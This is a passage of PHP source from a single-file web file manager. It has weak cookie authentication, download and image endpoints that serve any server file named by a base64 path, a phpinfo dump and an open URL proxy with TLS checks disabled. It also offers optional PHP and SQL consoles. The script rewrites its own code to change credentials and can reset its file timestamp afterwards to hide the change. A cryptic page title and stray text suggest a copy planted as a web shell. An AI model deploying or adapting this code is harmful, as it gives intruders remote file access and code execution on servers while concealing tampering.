return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
